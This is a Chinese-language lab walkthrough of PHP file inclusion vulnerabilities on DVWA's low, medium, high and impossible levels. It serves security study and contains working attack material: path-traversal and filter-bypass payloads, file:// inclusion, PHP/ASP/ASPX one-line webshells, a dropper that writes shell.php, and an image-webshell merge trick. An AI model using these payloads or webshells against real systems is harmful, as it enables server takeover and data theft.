目录
一、文件包含漏洞(File Inclusion)
1.原理
当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
2.分类
本地文件
通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行。
简单来说就是被包含的文件在服务器本地。
远程文件
在远程服务器上预先设置好的脚本,然后攻击者利用该漏洞包含一个远程的文件,这种漏洞的出现是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。
简单的说就是被包含的文件在第三方服务器。
以php为例,常用的文件包含函数有:
include()
#当包含并运行指定文件时,包含的外部文件发生错误,系统会给出警告,但整个php文件还会继续执行。
require()
#require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
include_once()
#和include没有什么区别,只是在导入函数之前先检测下该文件是否被include过,如果已经执行了一遍,那么就不在进行第二次的include操作。
require_once()
#功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
了解一下 / ./ ../
/ 根目录
./ 是当前目录
../ 返回到上一级目录
../../ 返回了两级目录
.\ 、..\和./、../意义相同
3.工具
phpstudy dvwa 中国蚁剑/菜刀
low
开始时可能会有个问题 PHP函数allow_url_include未启用。找到小皮的配置文件,打开把allow_url_includeOff改为On就可以。
代码审计
查看源码发现没有任何过滤。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看出服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径。
输入?page=../../phpinfo.php 可以看到php的具体信息。
?page=../../phpinfo.php
我们在D盘创建一个txt文档。
在url里面尝试上传包含本地文件 D://k.txt
成功输出k.txt文件内容 只有php文件会解析运行。其他的只会原封不动的输出出来。
在本地(远程)上传一个k.txt文档也是一个道理 http://127.0.0.1/k.txt同样的效果
利用漏洞
新建 txt文件上传一句话木马,进入文件上传File Upload,进行木马文件上传。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
PHP一句话木马:<?php @eval($_POST['key']);?>
ASP一句话木马:<%eval request['key']%>
ASPX一句话木马:<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>
改pp.txt文件后缀为.php
我们也可以把木马写入图片.jpg 进行上传
copy 1.jpg/b+pp.php 2.jpg
#复制 原图片/b+木马.php #新图片
上传成功 php
图片 jpg
复制链接 ../../hackable/uploads/pp.php到文件包含,发现没有报错,文件解析成功
回看dvwa的文件包括目录,发现生成了shell.php文件
打开蚁剑,添加链接,把地址带有木马shell.php的链接复制过来,密码就是我们木马post里面写的的密码pass,直接连接。
已经连上的页面。
Medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)
发现过滤了 http:// https:// , ../ ..\\ 我们可以这样做
?page=..././..././phpinfo.php
这样我们的输入经过过滤后变成
?page=../../phpinfo.php
依旧是没有过滤掉../
,通过错位进行拼接成../
看看本地的远程试试
源码过滤了http://
、https://
,可以尝试大小写进行绕过,也可以通过双写进行绕过
httphttp://://
?page=Http://127.0.0.1/k.txt
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
源码中限制了文件名来防止恶意文件包含,并且!fnmatch( "file*", $file )
代码使用了fnmatch
函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。
file协议
本地文件传输协议 ,file协议主要用于访问本地计算机中的文件.
基本格式
file:///文件路径
如打开D盘www文件下的PHPinfo文件
file:///D:/www/phpinfo
注意:后面必须是绝对路径:
了解到file协议的语句,构建相应的语句即可。
?page=file:///D:\Users\phpstudy_pro\WWW\k.txt
impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )
这一句代码已经将page的参数限制成固定的值了,白名单,只要白名单里面的文件没有问题,就不会有安全问题,所以没有办法进行文件包含。